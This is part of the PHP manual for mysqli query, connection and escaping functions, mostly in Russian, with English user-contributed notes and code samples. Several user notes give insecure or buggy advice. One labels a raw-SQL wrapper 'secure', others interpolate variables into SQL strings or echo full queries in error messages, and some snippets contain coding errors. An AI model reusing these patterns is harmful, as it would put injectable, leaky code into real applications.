for ( $i = 0; $i <= 30000; ++$i )
{
    $stmt->bind_param("i", $i);
    $stmt->execute();
    $stmt->bind_result($id, $md5);
    $stmt->fetch();
    echo $id;
}
$stmt->close();
?>

and the avarage page-load was lowered by 1.3sec, which means about 2.0 sec avarage! Guess the performance difference could be even greater on a more complex/larger table and more complex SQL-queries.
nom0ny at yahoo dot com 25-May-2007 12:30
It must be noted in the Description whether developers should call mysqli_stmt_close prior to executing mysqli_prepare again on the same statement variable.

Example, Script A calls mysqli_stmt_close twice:
<?php
/* Script A -- We are already connected to the database */

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES (?, ?, 100)"); /* Query 1 */
mysqli_stmt_bind_param($stmt, "si", $string, $integer);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt); // CLOSE $stmt

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES ('PHP', ?, ?)"); /* Query 2 */
mysqli_stmt_bind_param($stmt, "ii", $integer, $code);
mysqli_stmt_execute($stmt);
mysqli_stmt_close($stmt); // CLOSE $stmt

/* Script A -- Continues on... */
?>

Next, we have Script B, calling mysqli_prepare again before issuing mysqli_stmt_close on the prior statement.
<?php
/* Script B -- We are already connected to the database */

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES (?, ?, 100)"); /* Query 1 */
mysqli_stmt_bind_param($stmt, "si", $string, $integer);
mysqli_stmt_execute($stmt);

$stmt = mysqli_prepare($link, "INSERT INTO table VALUES ('PHP', ?, ?)"); /* Query 2 */
mysqli_stmt_bind_param($stmt, "ii", $integer, $code);
mysqli_stmt_execute($stmt);

mysqli_stmt_close($stmt); // CLOSE $stmt

/* Script B -- Continues on... */
?>

Which method is more efficient and should be used by developers?
Adam 10-Aug-2006 03:03
The purpose of prepared statements is to not include data in your SQL statements. Including them in your SQL statements is NOT safe. Always use prepared statements. They are cleaner to use (code easier to read) and not prone to SQL injections.

Escaping strings to include in SQL statements doesn't work very well in some locales hence it is not safe.
codeFiend <aeontech at gmail dot com> 05-May-2006 02:47
Note that single-quotes around the parameter markers _will_ prevent your statement from being prepared correctly.
Ex:

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES ('?')");
echo $stmt->param_count." parameters\n";
?>
will print 0 and fail with "Number of variables doesn't match number of parameters in prepared statement" warning when you try to bind the variables to it.

But

<?php
$stmt = $mysqli->prepare("INSERT INTO City (District) VALUES (?)");
echo $stmt->param_count." parameters\n";
?>
will print 1 and function correctly.

Very annoying, took me an hour to figure this out.
Ulf Wostner 23-Jan-2006 08:53
Here is an example using bind_param and bind_result, showing iteration over a list of cities.

Note that there's some bug-potential in cases where the query returns NULL for some parameter value,
but the bind_result variables still might be bound.  So, we use a conditional to spray the spot first.

$mysqli->select_db("world");

$template = "SELECT District, CountryCode FROM City WHERE Name=?";
printf("Prepare statement from template: %s\n",  $template);

$cities = array('San Francisco', 'Lisbon', 'Lisboa', 'Marrakech', 'Madrid');
printf("Cities: %s\n", join(':', $cities));

if ($stmt = $mysqli->prepare($template)) {

   foreach($cities as $city) {
     // bind the string $city to the '?'
     $stmt->bind_param("s", $city);
     $stmt->execute();
     // bind result variables
     $stmt->bind_result($d,$cc);
     // 'Lisbon' is not found in the world.City table, but 'Lisboa' is.
     // Using a conditional we avoid putting Lisbon in California.
     if($stmt->fetch()) {
       printf("%s is in  %s, %s\n", $city, $d, $cc);
     }

   }
   $stmt->close();
}

With the conditional statement we get the desired result:

Prepare statement from template: SELECT District,CountryCode FROM City WHERE Name=?
Cities: San Francisco:Lisbon:Lisboa:Marrakech:Madrid

San Francisco is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP

But, without the conditional statement we would put Lisbon in California:

San Francisco is in  California, USA
Lisbon is in  California, USA
Lisboa is in  Lisboa, PRT
Marrakech is in  Marrakech-Tensift-Al, MAR
Madrid is in  Madrid, ESP
David Kramer 20-Dec-2005 12:50
I don't think these are good examples, because the primary use of prepared queries is when you are going to call the same query in a loop, plugging in different values each time.  For instance, if you were generating a report and needed to run the same query for each line, tweaking the values in the WHERE clause, or importing data from another system.


Выполняет запрос к базе данных

  • « mysqli::prepare
  • mysqli::real_connect »
  • PHP Manual
  • mysqli
  • Выполняет запрос к базе данных

mysqli::query

mysqli_query

(PHP 5, PHP 7, PHP 8)

mysqli::query -- mysqli_query — Выполняет запрос к базе данных

Описание

Объектно-ориентированный стиль

public mysqli::query(string $query, int $result_mode = MYSQLI_STORE_RESULT): mysqli_result|bool

Процедурный стиль

mysqli_query(mysqli $mysql, string $query, int $result_mode = MYSQLI_STORE_RESULT): mysqli_result|bool

Выполняет запрос query к базе данных.

Внимание

Предупреждение безопасности: SQL-инъекция

Вместо составления строки запроса с включением переменных значений необходимо подготавливать запросы. Либо строки запроса должны быть экранированы функцией mysqli_real_escape_string() и правильно отформатированы.

Для не DML-запросов (не INSERT, UPDATE или DELETE),
эта функция равносильна вызову
функции mysqli_real_query(), а затем
mysqli_use_result() или
mysqli_store_result().

Замечание:

Если длина передаваемого в функцию mysqli_query() выражения больше значения системной переменной max_allowed_packet сервера, будет сгенерирована ошибка. MySQL-драйвер (mysqlnd) и клиентская библиотека MySQL (libmysqlclient) выбрасывают разные коды ошибок. Поведение функции будет следующим:

  • mysqlnd на платформе Linux возвращает код ошибки 1153. Сообщение об ошибке означает размер пакета превышает max_allowed_packet байт.

  • mysqlnd на платформе Windows возвращает код ошибки 2006. Это сообщение об ошибке означает отказ сервера.

  • libmysqlclient на всех платформах возвращает код ошибки 2006. Это сообщение об ошибке означает отказ сервера.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

query

Текст запроса.

result_mode

Режим результата может быть одной из 3 констант, указывающих, как результат будет возвращён сервером MySQL.

MYSQLI_STORE_RESULT (по умолчанию) — возвращает объект mysqli_result с буферизованным набором результатов.

MYSQLI_USE_RESULT — возвращает объект mysqli_result с небуферизованным набором результатов. Пока есть отложенные записи, ожидающие выборки, линия соединения будет занята и все последующие вызовы будут возвращать ошибку Commands out of sync. Чтобы избежать ошибки, все записи должны быть получены с сервера или набор результатов должен быть отброшен путём вызова mysqli_free_result().

MYSQLI_ASYNC (доступно с mysqlnd) — запрос выполняется асинхронно, набор результатов сразу не возвращается. Затем вызывают функцию mysqli_poll() для получения результатов по этим запросам. Можно использовать в сочетании с константой MYSQLI_STORE_RESULT или MYSQLI_USE_RESULT.

Возвращаемые значения

Возвращает false в случае возникновения ошибки. В случае успешного выполнения запросов, которые создают набор результатов, таких как SELECT, SHOW, DESCRIBE или EXPLAIN, функция mysqli_query() вернёт объект mysqli_result. Для остальных успешных запросов mysqli_query() вернёт true.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример использования mysqli::query()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Создание таблицы, не возвращает набор результатов */
$mysqli->query("CREATE TEMPORARY TABLE myCity LIKE City");
printf("Таблица myCity создана.\n");

/* Запросы SELECT, возвращают набор результатов */
$result = $mysqli->query("SELECT Name FROM City LIMIT 10");
printf("Запрос SELECT вернул %d строк.\n", $result->num_rows);

/* Если нужно извлечь большой объем данных, используем MYSQLI_USE_RESULT */
$result = $mysqli->query("SELECT * FROM City", MYSQLI_USE_RESULT);

/* Важно заметить, что мы не можем вызывать функции, которые взаимодействуют
с сервером, пока не закроем набор результатов. Все подобные вызовы
будут вызывать ошибку 'out of sync' */
$mysqli->query("SET @a:='this will not work'");

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Создание таблицы, не возвращает набор результатов */
mysqli_query($link, "CREATE TEMPORARY TABLE myCity LIKE City");
printf("Таблица myCity создана.\n");

/* Запросы SELECT, возвращают набор результатов */
$result = mysqli_query($link, "SELECT Name FROM City LIMIT 10");
printf("Запрос SELECT вернул %d строк.\n", mysqli_num_rows($result));

/* Если нужно извлечь большой объем данных, используем MYSQLI_USE_RESULT */
$result = mysqli_query($link, "SELECT * FROM City", MYSQLI_USE_RESULT);

/* Важно заметить, что мы не можем вызывать функции, которые взаимодействуют
с сервером, пока не закроем набор результатов. Все подобные вызовы
будут вызывать ошибку 'out of sync' */
mysqli_query($link, "SET @a:='this will not work'");

Результат выполнения данных примеров:

Таблица myCity создана.
Запрос SELECT вернул 10 строк.

Fatal error: Uncaught mysqli_sql_exception: Commands out of sync; you can't run this command now in...

Смотрите также

  • mysqli_execute_query() - Подготавливает, связывает параметры и выполняет SQL-запрос
  • mysqli_real_query() - Выполнение SQL запроса
  • mysqli_multi_query() - Выполняет один или несколько запросов к базе данных
  • mysqli_prepare() - Подготавливает SQL выражение к выполнению
  • mysqli_free_result() - Освобождает память, занятую результатами запроса

User Contributed Notes

xa at sagexa dot com 16-Sep-2022 04:33
"In PHP 8.1, the default error handling behavior of the MySQLi extension has changed from silencing errors to throw an Exception on errors. "
This is true even for the procedural use of mysqli, i.e. mysqli_query.
Hence, using if(!mysqli_query($c, $sql)) [...] is pointless.
To disable Exception throwing : mysqli_report(MYSQLI_REPORT_OFF);
Anonymous 05-Jun-2018 11:21
Here is an example of a clean query into a html table

<table>
   <tr>
     <th>First Name</th>
     <th>Last Name</th>
     <th>City</th>
   </tr>
   <?php while ($row = $myquery->fetch_assoc()) { ?>
   <tr>
     <td><?php echo $row["firstname"]; ?></td>
     <td><?php echo $row["lastname"]; ?></td>
     <td><?php echo $row["city"];?></td>
   </tr>
   <?php } ?>
 </table>
omidbahrami1990 at gmail dot com 06-Dec-2017 10:17
This Is A Secure Way To Use mysqli::query
--------------------------------------------------------
<?php
function secured_query($sql)
{
$connection = new mysqli($host,$username,$password,$name);

if ($connection->connect_error)
die("Secured");

$result=$connection->query($sql);
if($result==FALSE)
die("Secured");

$connection->close();
return $result;
}
/*
$host ---> DataBase IP Address
$username ---> DataBase Username
$password ---> DataBase Password
$name ---> DataBase Name
*/
?>
David Marcus 03-May-2017 05:43
If you use the default resultmode of MYSQLI_STORE_RESULT, you can call $mysqli->close() right after $mysqli->query and before you use mysqli_result. This reduces the time the connection is open, which can help if the database server has a limit on how many connections there can be.
Anonymous 17-Mar-2017 12:55
I don't know is it bug or something , then first I write it here . Query SHOW with MYSQLI_USE_RESULT option don't show num_rows :
<?php
SHOW TABLES LIKE [some table], MYSQLI_USE_RESULT
num_rows // shows 0 !
?>
ahmed dot 3abdolah at gmail dot com 12-Sep-2014 11:39
Hi, i created function that add  a new table using array , i work with it on my projects ...
<?PHP
                   /* this function was learned from PHP.net */
function array_keys_exist(&$key,array &$array){
                $keys = split("\|",$key);
                foreach($keys as $key_s){
                    if(array_key_exists($key_s, $array)) return true;
                    }
                return false;
            }
/*and this is my function */
array_create_table(array &$array){
        if(is_array($array)){
           $key = "table|rows|values";
        $info = "";
        if(array_keys_exist($key,$array)){
        if(is_array($array["rows"]) and is_array($array["values"]) ){

            if(count($array["rows"]) == count($array["values"])) {
                        for($i=0; $i<=count($array["rows"]); $i++){
    $info = $info." ".$array["rows"][$i]." ".$array["values"][$i]." NOT NULL ";
            if($i < count($array["rows"])-1 ) $info = $info.",";
                    }
    $query = "CREATE TABLE ".$this->private_tables_name.$array["table"]." ";
    $query .= "( id INT NOT NULL AUTO_INCREMENT PRIMARY KEY, ".$info." )";
                    return $query;
                        }
                        }
                }else return "Error";
                    }
            }

/* the use is simple */
$database = new database(); // connection to database i used mysqli ...
$array = array("table"=>"MRO", "rows"=>array("name","username") , "values" => array("VARCHAR (50) "," VARCHAR (50) ") );

$query = array_create_table($array); // convert and create the query ...
if($database->query($query)) echo "Work"; else echo "Error"; // result : work

?>
joseph_robert_martinez at yahoo dot com 14-Mar-2014 07:00
For those using with replication enabled on their servers,  add a mysqli_select_db() statement before any data modification queries.  MySQL replication does not handle statements with db.table the same and will not replicate to the slaves if a scheme is not selected before.

Found out after days of resetting master and slaves on another site http://www.linuxquestions.org/questions/linux-server-73/mysql-5-1-not-replicating-properly-with-slave-823296/
popere dot noel at yahoo dot com 26-Jun-2013 09:43
or you could just extend the class...
 in my case i already had a wraper for the db so something like this was easy :

 public function  free($result) {

  $result->free_result();
 $this->link->next_result();
 }

just tried it and it works like a charm ;-)
blinki bill, argodak at yahoo dot com 06-Jun-2013 03:10
Recently I had puzzling problem when performing DML queries, update in particular, each time a update query is called and then there are some more queries to follow this error will show on the page and go in the error_log:
"Fatal error:  Exception thrown without a stack frame in Unknown on line 0"

The strange thing is that all queries go through just fine so it didn't make much sense:

$update = mysqli_query($connection, $query_string);
if(!$update){
 echo 'Houston we have a problem '.mysqli_error($connection);
 exit;
}

In the above example "$update" is "true", mysqli_error() is empty and of course the update operation goes through, however the nasty super cryptic error appears on the page.
What makes even less sense to me is how I fixed it - just called "mysqli_free_result" after the update query and the problem was gone, however because mysqli_free_result is not supposed to be called after DML queries (to free what, a boolean? lol) it needs to be wrapped in a try catch block:

try{
 mysqli_free_result($update);
}catch (Exception $e){
 //do nothing
}

So, I don't know why but it seems that when DML queries are responsible for:
"Fatal error:  Exception thrown without a stack frame in Unknown on line 0"
calling "mysqli_free_result" after the query seems to be fixing the issue
marcus at synchromedia dot co dot uk 15-Jun-2011 10:17
The exact type returned by a successful query is mysqli_result.
theyranos at gmail dot com 12-Apr-2011 06:35
The cryptic "Couldn't fetch mysqli" error message can mean any number of things, including:

1. You're trying to use a database object that you've already closed (as noted by ceo at l-i-e dot com). Reopen your database connection, or find the call to <?php mysqli_close($db); ?> or <?php $db->close(); ?> and remove it.
2. Your MySQLi object has been serialized and unserialized for some reason. Define a wakeup function to re-create your database connection. http://php.net/__wakeup
3. Something besides you closed your mysqli connection (in particular, see http://bugs.php.net/bug.php?id=33772)
4. You mixed OOP and functional calls to the database object. (So, you have <?php $db->query() ?> in the same program as <?php mysqli_query($db) ?>).
petrus.jvr 14-Mar-2011 03:40
When calling multiple stored procedures, you can run into the following error: "Commands out of sync; you can't run this command now".
This can happen even when using the close() function on the result object between calls.
To fix the problem, remember to call the next_result() function on the mysqli object after each stored procedure call. See example below:

<?php
// New Connection
$db = new mysqli('localhost','user','pass','database');

// Check for errors
if(mysqli_connect_errno()){
 echo mysqli_connect_error();
}

// 1st Query
$result = $db->query("call getUsers()");
if($result){
     // Cycle through results
    while ($row = $result->fetch_object()){
        $user_arr[] = $row;
    }
    // Free result set
    $result->close();
    $db->next_result();
}

// 2nd Query
$result = $db->query("call getGroups()");
if($result){
     // Cycle through results
    while ($row = $result->fetch_object()){
        $group_arr[] = $row;
    }
     // Free result set
     $result->close();
     $db->next_result();
}
else echo($db->error);

// Close connection
$db->close();
?>
thomas dekker 23-Sep-2010 11:08
Building inserts can be annoying. This helper function inserts an array into a table, using the key names as column names:

<?php
  private function store_array (&$data, $table, $mysqli)
  {
    $cols = implode(',', array_keys($data));
    foreach (array_values($data) as $value)
    {
      isset($vals) ? $vals .= ',' : $vals = '';
      $vals .= '\''.$this->mysql->real_escape_string($value).'\'';
    }
    $mysqli->real_query('INSERT INTO '.$table.' ('.$cols.') VALUES ('.$vals.')');
  }
?>

Adapt it to your specific needs.
registrations at jdfoxmicro dot com 21-Jun-2010 04:11
I like to save the query itself in a log file, so that I don't have to worry about whether the site is live.

For example, I might have a global function:

<?php
function UpdateLog ( $string , $logfile )  {
   $fh = fopen ( $logfile , 'a' );
   $fwrite ( $fh , strftime ('%F %T %z')." ".$string."\n";
   fclose ( $fh );
}
?>

Then in my mysql function error trapper, something like this:

<?php
   $error_msg = "Database error in [page].php / ";
   $error_msg .= mysqli_error ( $link )." / ";
   $error_msg .= $query;
   UpdateLog ( $error_msg , DB_ERROR_LOG_FILE );
?>

I also include the remote IP, user agent, etc., but I left it out of these code samples.  And have it e-mail me when an error is caught, too.

Jeff
Igor 24-Nov-2008 06:54
mysqli::query() can only execute one SQL statement.

Use mysqli::multi_query() when you want to run multiple SQL statements within one query.
ceo at l-i-e dot com 27-Aug-2008 07:51
Translation:
"Couldn't fetch mysqli"

You closed your connection and are trying to use it again.

It has taken me DAYS to figure out what this obscure error message means...
NUNTIUS 01-Feb-2008 01:33
This may or may not be obvious to people but perhaps it will help someone.

When running joins in SQL you may encounter a problem if you are trying to pull two columns with the same name. mysqli returns the last in the query when called by name. So to get what you need you can use an alias.

Below I am trying to join a user id with a user role. in the first table (tbl_usr), role is a number and in the second is a  text name (tbl_memrole is a lookup table). If I call them both as role I get the text as it is the last "role" in the query. If I use an alias then I get both as desired as shown below.

<?php
$sql = "SELECT a.uid, a.role AS roleid, b.role,
            FROM tbl_usr a
            INNER JOIN tbl_memrole b
            ON a.role = b.id
            ";

    if ($result = $mysqli->query($sql)) {
        while($obj = $result->fetch_object()){
            $line.=$obj->uid;
            $line.=$obj->role;
            $line.=$obj->roleid;
        }
    }
    $result->close();
    unset($obj);
    unset($sql);
    unset($query);

?>
In this situation I guess I could have just renamed the role column in the first table roleid and that would have taken care of it, but it was a learning experience.
jcwebb at dicoe dot com 15-May-2007 01:42
When building apps, i like to see the whole statement when if fails.
<?php
$q="SELECT somecolumn FROM sometable"; //some instruction
$r=mysqli_query($DBlink,$q) or die(mysqli_error($DBlink)." Q=".$q);
?>
If theres an error (like my numerous typing mistakes) this shows the entire instruction.
Good for development (not so good on production servers - simply find and replace when finished: $r=mysqli_query($DBlink,$q); )

Hope it helps. Jon
info at ff dot net 08-May-2006 04:12
Calling Stored Procedures

Beeners' note/example will not work. Use mysqli_multi_query() to call a Stored Procedure. SP's have a second result-set which contains the status: 'OK' or 'ERR'. Using mysqli_query will not work, as there are multiple results.

<?php
$sQuery="CALL SomeSP('params')";
if(!mysqli_multi_query($sqlLink,$sQuery)) {
  // your error handler
}
$sqlResult=mysqli_store_result($sqlLink);

if(mysqli_more_results($this->sqlLink))//Catch 'OK'/'ERR'
  while(mysqli_next_result($this->sqlLink));
?>

You will have to rewrite/expand this a bit for more usability of course, but it's just an example.
Beeners 08-Jan-2006 12:16
Stored Procedures.

Use mysqli_query to call a stored procedure that returns a result set.

Here is a short example:

<?php
$mysqli = new mysqli(DBURI,DBUSER,DBPASS,DBNAME);
if (mysqli_connect_errno())
{
  printf("Connection failed: %s\n", mysqli_connect_error());
  exit();
}

$SQL = "CALL my_procedure($something)";
if ( ($result = $mysqli->query($SQL))===false )
{
  printf("Invalid query: %s\nWhole query: %s\n", $mysqli->error, $SQL);
  exit();
}

while ($myrow = $result->fetch_array(MYSQLI_ASSOC))
{
  $aValue[]=$myrow["a"];
  $bValue[]=$myrow["b"];
}
$result->close();
$mysqli->close();
?>
I hope this saves someone some time.
hunreal at gmail dot com 13-Aug-2004 02:24
Use difference collation/character for connect, result.
You can set the collation before your query.

E.g. want to set the collation to utf8_general_ci
you can send the query "SET NAMES 'utf8'" first

<?php
$mysqli=new mysqli('localhost', 'root', 'password', 'test');
$mysqli->query("SET NAMES 'utf8'");
$q=$mysqli->query("select * from test");
while($r=$q->fetch_assoc()) {
    print_r($r);
}
?>

There are many variables about character settings.
By running sql command, SHOW VARIABLES LIKE 'char%';
There are some variables control the character usage.

character_set_client
character_set_connection
character_set_database
character_set_results
character_set_server
character_set_system

Also SET NAMES can repalce with one or some settings like SET character_set_results='utf8';


Устанавливает соединение с сервером mysql

  • « mysqli::query
  • mysqli::real_escape_string »
  • PHP Manual
  • mysqli
  • Устанавливает соединение с сервером mysql

mysqli::real_connect

mysqli_real_connect

(PHP 5, PHP 7, PHP 8)

mysqli::real_connect -- mysqli_real_connect — Устанавливает соединение с сервером mysql

Описание

Объектно-ориентированный стиль

public mysqli::real_connect(
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null,
int $flags = 0
): bool

Процедурный стиль

mysqli_real_connect(
mysqli $mysql,
?string $hostname = null,
?string $username = null,
?string $password = null,
?string $database = null,
?int $port = null,
?string $socket = null,
int $flags = 0
): bool

Устанавливает соединение с СУБД MySQL.

Эта функция отличается от mysqli_connect():

  • Для работы mysqli_real_connect() необходим действительный объект, созданный функцией mysqli_init().

  • С помощью функции mysqli_options() можно задать различные настройки подключения.

  • Параметр flags.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

hostname

Может быть либо именем хоста, либо IP-адресом. При передаче null, значение извлекается из mysqli.default_host. По возможности вместо протокола TCP/IP будут использоваться каналы. Протокол TCP/IP используется, если указаны и имя хоста и номер порта, например, localhost:3308.

username

Имя пользователя MySQL или null для принятия имени пользователя на основе ini-опции mysqli.default_user.

password

Пароль MySQL или null для принятия пароля на основе ini-опции mysqli.default_pw.

database

База данных по умолчанию, которая будет использоваться при выполнении запросов или null.

port

Номер порта для попытки подключения к серверу MySQL или null для принятия порта на основе ini-опции mysqli.default_port.

socket

Задаёт номер порта для подключения к серверу MySQL.

Замечание:

Передача параметра socket не будет явно задавать тип соединения при подключении к серверу MySQL. То, как будет устанавливаться соединение с MySQL-сервером, определяется параметром hostname.

flags

С помощью параметра flags можно задать некоторые настройки соединения:

Поддерживаемые флаги
Имя | Описание
MYSQLI_CLIENT_COMPRESS | Использовать протокол сжатия
MYSQLI_CLIENT_FOUND_ROWS | Возвращать количество строк, подошедших условиям выборки, вместо количества затронутых запросом строк
MYSQLI_CLIENT_IGNORE_SPACE | Допускать пробелы после имён функций. Делает все имена функций зарезервированными словами.
MYSQLI_CLIENT_INTERACTIVE | Допускать interactive_timeout секунд (вместо wait_timeout) простоя, прежде чем закрыть соединение
MYSQLI_CLIENT_SSL | Использовать SSL (шифрование)
MYSQLI_CLIENT_SSL_DONT_VERIFY_SERVER_CERT | Аналогично MYSQLI_CLIENT_SSL, но запрещает проверку SSL сертификата. Работает только с MySQL Native Driver и MySQL 5.6 и выше.

Замечание:

По причинам безопасности, флаг MULTI_STATEMENT не поддерживается в PHP. Если необходимо выполнять мультизапросы, используйте функцию mysqli_multi_query().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Список изменений

Версия | Описание
7.4.0 | Все параметры теперь допускают значение null

Примеры

Пример #1 Пример использования mysqli::real_connect()

Объектно-ориентированный стиль

<?php

$mysqli = mysqli_init();
if (!$mysqli) {
die('mysqli_init завершилась провалом');
}

if (!$mysqli->options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
die('Установка MYSQLI_INIT_COMMAND завершилась провалом');
}

if (!$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
die('Установка MYSQLI_OPT_CONNECT_TIMEOUT завершилась провалом');
}

if (!$mysqli->real_connect('localhost', 'my_user', 'my_password', 'my_db')) {
die('Ошибка подключения (' . mysqli_connect_errno() . ') '
. mysqli_connect_error());
}

echo 'Выполнено... ' . $mysqli->host_info . "\n";

$mysqli->close();
?>

Объектно-ориентированный стиль при расширении класса mysqli

<?php

class foo_mysqli extends mysqli {
public function __construct($host, $user, $pass, $db) {
parent::__construct();

if (!parent::options(MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
die('Установка MYSQLI_INIT_COMMAND завершилась провалом');
}

if (!parent::options(MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
die('Установка MYSQLI_OPT_CONNECT_TIMEOUT завершилась провалом');
}

if (!parent::real_connect($host, $user, $pass, $db)) {
die('Ошибка подключения (' . mysqli_connect_errno() . ') '
. mysqli_connect_error());
}
}
}

$db = new foo_mysqli('localhost', 'my_user', 'my_password', 'my_db');

echo 'Выполнено... ' . $db->host_info . "\n";

$db->close();
?>

Процедурный стиль

<?php

$link = mysqli_init();
if (!$link) {
die('mysqli_init завершилась провалом');
}

if (!mysqli_options($link, MYSQLI_INIT_COMMAND, 'SET AUTOCOMMIT = 0')) {
die('Установка MYSQLI_INIT_COMMAND завершилась провалом');
}

if (!mysqli_options($link, MYSQLI_OPT_CONNECT_TIMEOUT, 5)) {
die('Установка MYSQLI_OPT_CONNECT_TIMEOUT завершилась провалом');
}

if (!mysqli_real_connect($link, 'localhost', 'my_user', 'my_password', 'my_db')) {
die('Ошибка подключения (' . mysqli_connect_errno() . ') '
. mysqli_connect_error());
}

echo 'Выполнено... ' . mysqli_get_host_info($link) . "\n";

mysqli_close($link);
?>

Результат выполнения данных примеров:

Выполнено... MySQL host info: localhost via TCP/IP

Примечания

Замечание:

MySQLnd всегда подразумевает кодировку, которую использует по умолчанию сервер. Эта кодировка передаётся во время установки соединения/авторизации, которые использует mysqlnd.

Libmysqlclient по умолчанию использует кодировку, установленную в файле my.cnf или явным вызовом функции mysqli_options() до вызова функции mysqli_real_connect(), но после вызова функции mysqli_connect().

Смотрите также

  • mysqli_connect() - Псевдоним mysqli::__construct
  • mysqli_init() - Инициализирует MySQLi и возвращает объект для использования в функции mysqli_real_connect()
  • mysqli_options() - Установка настроек
  • mysqli_ssl_set() - Используется для установления безопасных соединений, используя SSL
  • mysqli_close() - Закрывает ранее открытое соединение с базой данных

User Contributed Notes

php-nospam325123 at brainpower dot no-ip dot org 03-Dec-2010 03:29
this is because it tries to use sockets with the string localhost this is documented en known
Pom 01-Dec-2009 03:47
Notice that when using "localhost" as hostname the port option might be ignored.

If you wish to connect thru a different port than default, substitute "127.0.0.1" for localhost.


Экранирует специальные символы в строке для использования в SQL-выражении, используя текущий набор символов соединения

  • « mysqli::real_connect
  • mysqli::real_query »
  • PHP Manual
  • mysqli
  • Экранирует специальные символы в строке для использования в SQL-выражении, используя текущий набор символов соединения

mysqli::real_escape_string

mysqli::escape_string

mysqli_real_escape_string

(PHP 5, PHP 7, PHP 8)

mysqli::real_escape_string -- mysqli::escape_string -- mysqli_real_escape_string — Экранирует специальные символы в строке для использования в SQL-выражении, используя текущий набор символов соединения

Описание

Объектно-ориентированный стиль

public mysqli::real_escape_string(string $string): string

Процедурный стиль

mysqli_real_escape_string(mysqli $mysql, string $string): string

Эта функция используется для создания допустимых в SQL строк, которые можно использовать в SQL выражениях. Заданная строка кодируется для создания экранированной строки SQL с учётом текущего набора символов подключения.

Предостережение

Безопасность: набор символов по умолчанию

Набор символов должен быть задан либо на стороне сервера, либо с помощью API-функции mysqli_set_charset(). В противном случае mysqli_real_escape_string() работать не будет. За дополнительной информацией обращайтесь к документации наборы символов.

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

string

Строка, которую требуется экранировать.

Экранируемые символы NUL (ASCII 0), \n, \r, \, ', " и CTRL+Z.

Возвращаемые значения

Возвращает экранированную строку.

Примеры

Пример #1 Пример использования mysqli::real_escape_string()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$city = "'s-Hertogenbosch";

/* этот запрос с экранированным $city будет работать */
$query = sprintf("SELECT CountryCode FROM City WHERE name='%s'",
$mysqli->real_escape_string($city));
$result = $mysqli->query($query);
printf("Возвращённые строки: %d.\n", $result->num_rows);

/* этот запрос завершится ошибкой, потому что мы не экранировали $city */
$query = sprintf("SELECT CountryCode FROM City WHERE name='%s'", $city);
$result = $mysqli->query($query);

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$city = "'s-Hertogenbosch";

/* этот запрос с экранированным $city будет работать */
$query = sprintf("SELECT CountryCode FROM City WHERE name='%s'",
mysqli_real_escape_string($mysqli, $city));
$result = mysqli_query($mysqli, $query);
printf("Возвращённые строки: %d.\n", mysqli_num_rows($result));

/* этот запрос завершится ошибкой, потому что мы не экранировали $city */
$query = sprintf("SELECT CountryCode FROM City WHERE name='%s'", $city);
$result = mysqli_query($mysqli, $query);

Результатом выполнения данных примеров будет что-то подобное:

Возвращённые строки: 1.

Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 's-Hertogenbosch'' at line 1 in...

Смотрите также

  • mysqli_set_charset() - Задаёт набор символов

User Contributed Notes

ASchmidt at Anamera dot net 30-Mar-2021 04:45
Caution when escaping the % and _ wildcard characters. According to an often overlooked note at the bottom of:

https://dev.mysql.com/doc/refman/5.7/en/string-literals.html#character-escape-sequences

the escape sequences \% and \_ will ONLY be interpreted as % and _, *if* they occur in a LIKE! (Same for MySQL 8.0)

In regular string literals, the escape sequences \% and \_ are treated as those two character pairs. So if those escape sequences appear in a WHERE "=" instead of a WHERE LIKE, they would NOT match a single % or _ character!

Consequently, one MUST use two "escape" functions: The real-escape-string (or equivalent) for regular string literals, and an amended escape function JUST for string literals that are intended to be used in LIKE.
Lawrence DOliveiro 13-Dec-2017 03:56
Note that the "like" operator requires an *additional* level of escaping for its special characters, *on top of* that performed by mysql_escape_string. But there is no built-in function for performing this escaping. Here is a function that does it:

function escape_sql_wild($s)
  /* escapes SQL pattern wildcards in s. */
  {
    $result = array();
    foreach(str_split($s) as $ch)
      {
        if ($ch == "\\" || $ch == "%" || $ch == "_")
          {
            $result[] = "\\";
          } /*if*/
        $result[] = $ch;
      } /*foreach*/
    return
        implode("", $result);
  } /*escape_sql_wild*/
